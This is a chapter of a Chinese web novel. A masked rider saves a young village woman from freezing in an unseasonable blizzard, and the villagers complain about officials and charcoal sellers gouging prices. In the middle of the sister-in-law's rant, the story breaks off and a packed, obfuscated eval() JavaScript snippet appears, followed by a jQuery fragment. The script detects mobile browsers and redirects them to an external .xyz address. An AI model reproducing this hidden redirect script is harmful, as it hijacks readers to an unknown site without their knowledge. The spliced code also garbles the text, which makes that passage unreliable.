狂风卷着雪粒吹过锋利的山脊,大雪糊住了视线,灰白的天地之间由远及近,逐渐浮现出一道几乎被风吹走的身影。
走近了,顶风前行,那人低着头,裹着黑色的披风,骑一匹黑色的马。
马鬃马尾吹乱,黑马逆着风雪,细骨伶仃的腿仿佛下一刻就要折断。
披风的边角猎猎作响,同马鬃马尾一样飘飞在空中。风雪鼓满那人的衣袍,她的身形一下子显得很庞大,而下一瞬风向转变,皮袍贴着身躯吹过,又让她显得那样渺小。
为什么偏有人在这样的风雪天走这样陡峭的山路,此方天地中只有狂乱的风雪,并没有答案。
山下风稍住,茫茫大雪中,远处连绵起伏的,分不清是边城还是又一座山。马上的人凝望许久,调转马头,别向而去。
边城外有一些零星的村庄,散布在大山和大城之间,在和平年代过着平静的日子。
呼啸的风声淹没了马蹄,前行几里,雪积渐深,风刮过雪面,吹动露出积雪外的几根细长的绿叶和一片衣角。
马上的人似乎留意到什么,勒住缰绳,翻身下马,去查看那片衣角。衣角连着衣服,掀起一片积雪,她跪在雪地上,从雪窝里刨出一个冻僵的人。
摸了摸心口还有热气,从马上下来的人甩开披风将此人裹好,把她抱上马背,步伐不再迟缓,朝前方的村落快马奔去。
朽坏的木门上钉着锈损的门闩,在风雪中被咣咣地拍响。
“有人吗?有人在吗?”
久久无人应答,戴着面罩的人抱着被披风紧紧裹着的人推开门进去,却见屋中家徒四壁,土炕上裸露着黄泥,连片铺垫的纸都没有。窗户上糊的纸破开,在寒风里哗啦啦地响。炉灶旁的避风处蜷缩着两个老人,紧紧捂着身上打满补丁的夏日单衣。
灶边还堆着少许木柴,但戴着面罩的人俯身去探,那对老夫妇早已死去多时了。
这是这个村庄最外围的人家,远离成片的民居,房屋破败,连院墙都已倒塌了。
掩好门,牵着马顶风来到村里头房屋稍微严整一些的地方,戴着面罩的人再次将门叩响:“有人吗?开开门!”
没多会儿,门从里面费劲地打开了。
“她冻僵了!”风雪太大,裹得又厚,几乎听不清别人说的什么。戴着面罩的人掀开披风给他看那人的脸,冲着开门人的耳朵大声说道。
开门的人压着披风一看,帮她顶住门,同样喊着:“快进来!”
“呼——”
碗上的热气被吹开,温水一点点被灌进冻僵的人嘴里。小孩站在炕边,看着大人们解开那个昏迷的人的外衣,把她裹进被窝。
娘把空碗放在炕沿上,紧紧地搂着那一大团被子,又将手伸进被子里摸了摸那人的体温。
“缓过来一点了。”娘对站在炕边那个戴着面罩的人说。
戴面罩的人似乎松了一口气,跟娘一起隔着被子帮忙按摩那个人的四肢。
姥姥从外面端来温好的酒:“来了来了。”
又是几口温酒灌下去,那个不认识的人面色终于红润了点。
“行了,缓着吧,这就能活了。”姥姥拍了拍被子,冲戴面罩的人说,“我再去给你们熬点姜汤,别再为风寒要了命。”
“谢谢大娘。”戴着面罩的人客气地说。
追着姥姥出了屋,小孩儿她爹正在外屋地的灶上烧火,好叫火炕热一些。
“姥姥,她们是谁啊?”小孩问。
“冻僵的是你何家姐姐啊,你不认得了吗?再过两年你就该去她家念书去了。”姥姥从柜橱里翻出姜来,刮去坏掉的地方,放在案板上利落地切了起来。
屋里,戴面罩的人道:“在来您家之前,我先去了村头那家。”
炕上搂着被子的嫂子闻言问:“村西头那个独户?”
戴面罩的人点头。
“正是老林家大叔和大婶呢!家里就剩他们两个,大雪封门,村里还给送去过一点木柴。”大嫂说完,又问,“你去时,他们可还好?”
戴面罩的人语带迟疑:“木柴还剩下一点……但人已经不在了。”
“妈呀。”大嫂子一愣,下意识地反问一遍,“人没啦?”
戴面罩的人道:“我去看的时候人已经不在了。”
大嫂子怔怔的,长久,她痛惋地叫了一声:“哎呀,头两天还好好的,几天的工夫没见,怎么就这样了呢。”
叹罢,她朝外屋地喊:“孩儿他爹?他爹?”
“哎。”外头烧炕的男人应了一声。
大嫂子道:“她说老林家大叔和大婶没了,你带人去看看去啊。”
“谁没了?”隔着厚厚的门帘,外屋地的丈夫问。
“村头老林家大叔和大婶!”大嫂喊道,“你要不找何贵他们一起去看看?”
门帘一掀,男人探头进来:“谁?”
“老林家大叔和大婶。”大嫂子道。
男人看了戴面罩的人一眼,又对大嫂道:“那你搁家待着,我去瞅一眼去。”
“谁没了?”外屋地正在切姜的老太太又问了一遍。
本来在外屋地看老太太做汤的小孩儿从门帘缝儿里钻进来,把鞋一蹬钻到炕上。
大嫂子抽过手揽过孩子,道:“老林家的大叔和大婶!这丫头敲门去看来着,先到的那儿。”嫂子又叫,“娘啊,我走不开,你给他找件抗风的衣服。”
老人应了。
好热。
醒来的第一个念头就是,好热。
何芸娘半睁开眼,想要把身上压的东西掀开,不料手脚都被束缚住了,活动不开。
她恍惚记得她是要去镇上买炭,家里的柴要不够用了。
“你醒了。”耳边传来一个声音,“这样的大雪天一个人出门太危险,你差点冻死了。”
她回想起来了,走到半路,自己的脚和腿冻得没有知觉,浑身发凉,牙齿打颤,一不留神就扑倒在雪地里,爬不起来了。
“还迷糊着呢。”另一个声音说道。
不知是谁把她扶了起来,嘴边伸过一个勺子,里面盛着散发着姜味的蛋花水。她张口含进嘴里,品出红糖的甜和老姜的辛辣。
吃了几口东西,她终于觉得脑门开始泛着寒气,脑瓜也开始活动起来,认出那个端碗喂自己的,正是自己村里的何家大嫂子。
“嫂子。”她下意识喊道,“这是在哪儿啊?”
“你在我家呢!”大嫂子又舀了一勺姜糖鸡蛋花,在碗边刮了刮勺低,送到她嘴边,“你冻僵在半路上,要不是万幸有人路过救你,你怕是要冻死了!”
看着她老实把汤水咽下去,何家大嫂子哼了一声,替她抹了抹嘴:“你这孩子,嗔我叨咕你。你老爹老娘就你一个眼珠子,你要是没了,他俩可怎么活!”
“多谢嫂子。”
被喂着喝了两勺东西,她想从被窝里伸出手去接碗,但是手也被被子裹住了。
“谢我做什么,捡到你又把你救了的是这位姑娘,你还不快谢谢人家!”何家大嫂子道。
顺着何家大嫂子的示意,她看到地下一个不远不近站着的陌生人。那人见她几次想动,过来扶着她靠在墙上,好叫被包松开些,让她能伸出手来,又把一件不知道什么材料做的披风大氅给她披到肩上,盖住了露出来的肩膀。
“多谢姑娘救命之恩!”何姑娘立刻反应过来自己当时有多凶险。雪天路上没人,要没她,自己真的就要冻死了。
“不知恩人尊姓大名。”她十指不听使唤,只能虚虚地握住那陌生人的手,感激无法言说。
“我只是路过而已。”那人温和道,又看到她通红的手,“你手上的冻伤,估计不好治愈。”
“能捡下来一条命,就已经是幸事了。”何家大嫂子虎着脸,一勺一勺给何姑娘灌糖水,“什么天大的事,能让你这天头到处乱跑。”
何姑娘黯然:“雪不知道多久才能停,家里的柴不够了,我爹我娘年纪大,家里冷不得,我不得不去城里买炭。”
“城里的炭还能买得?”何家大嫂子嚷道,“那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294817|182691||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帮子糟心烂肺生孩子没□□的王八羔子恨不得拿炭当金子卖!打量大家都受冻,要发这笔黑心财,迟早叫老天降下一道雷劈死他们!”
“炕够热了不啊?”
外屋地传来老太太的询问,何家大嫂子忙止住话头,扯着嗓子答道:“够了够了,都坐不得屁股了!”
“那我把灶坑门盖上不烧了啊!”
“盖上吧!”嫂子答完,又冲何姑娘二人抱怨道,“这俩人,玩命烧,烧得这都烫人,可怎么睡。”
“现在炭很不好买吗?”戴着面罩的人问。
“你想呢!”何家大嫂子道,“柴、炭、冬衣、棉被都是紧俏物,可不得叫出天价去!这鬼天气也不知道怎么了,大夏天,忽然冷得跟数九似的。我们这样的还好些,那些打量天气回暖把冬衣棉袄都当了买种子、家里又没柴没炭的,如今还不知怎么活呢!”
“城里是哪家买炭?家家都这样吗?”戴着面罩的人又问。
“都是这样!”何家大嫂子气得直拍大腿,稍微活动开的何姑娘把碗接过去,她便掰着指头一个个给戴着面罩的人数,“鑫悦家、东福家,还有他们好几个会啊行的,跟商量好了似的,叫出一样的价,谁商量都不行,你不买,有的是人买,这才叫欺负人呢!”
“如此时节哄抬物价,官府不管一管吗?”戴面罩的人问。
“嗬。”何家大嫂子一拍手,“谁管你这个?八百两银子,得有六百两流到当官的口袋里去!人家美得很,谁管咱们老百姓死活。得亏我们还囤着点柴火,家里年轻力壮,也能再去打点柴,不然可怎么过!”
说着,她又想起来村头的林家老夫妇:“像你路过的那家,孩子都没了,一年到头就指着那点儿地过活,公婆俩凑不出一个子儿来,是真叫活活冻死了!”
戴面罩的人默然。
那边,何姑娘刮净碗底,嫂子接过空碗,又给何姑娘掖了掖被角:“你呀,安生先在我这暖和暖和,等缓醒过来再往家去,炭的事儿你不用急,等你大哥回来,我们给你想想办法!”说着,她站了起来,“你们先坐,我把碗洗出来,不然一会儿干了不好洗。”
何姑娘忙要起来:“嫂子,你放着,我去洗!”
何家大嫂子一把把她摁下:“坐着你的,用不着你!”
何姑娘争不过,只得坐下了。
小孩儿和嫂子一起掀开门帘出去,屋里只剩何姑娘和那戴面罩的两个人。
那人不曾解下面罩,何姑娘只能看到她修长秀丽的剑眉和一双沉静的眼睛。
“我瞧着恩人面生,看气度,也不像我们十里八村的人。”她攀谈道,“不知恩人为何顶风冒雪来到此处?”
“风雪太大,我的马得找地方歇一歇。”戴着面罩的人又叮嘱道,“天气不好,若非要添置物品,还是跟同村的人结伴一起,互相有个照应。”
“多谢恩人,我记下了。”何姑娘应道,又说,“我叫何芸娘,就住村东头,我爹是村里的私塾先生。您救我一命,不知可有什么我帮得上忙的,恩人但说无妨。”
“只是路过顺手帮一把,你不必太过挂怀。”戴面罩的人淡淡地说。
何芸娘见她气度非凡,衣物用度更是自己见都没见过的,便知她不是什么一般人物,想来哪怕是自己全家也没有什么恩人用得到的,看恩人的意思,也并不图自己报答。
她将恩情默默记在心头,偷眼仔细打量恩人的眉眼,怕日后忘记她长什么样子,又道:“恩人留下名讳吧,我记着您的恩情,初一十五庙前三炷香,也定不忘为您祝祷。”
那人似乎是一笑:“萍水相逢一场,日后也没什么再相见的可能。三年五年,各自相忘,如今又何必说这注定记不住的东西呢。”
何芸娘想说自己肯定会记得,话到嘴边,又觉得轻浮,半晌,只道:“如今风雪太大、不宜赶路,不如恩人随我一起回到家中休息一晚。普通农家没什么好东西,但也让我招待招待您吧。”
戴着面罩的人看了一眼窗外的天色,铅云厚重,紧该入夜了。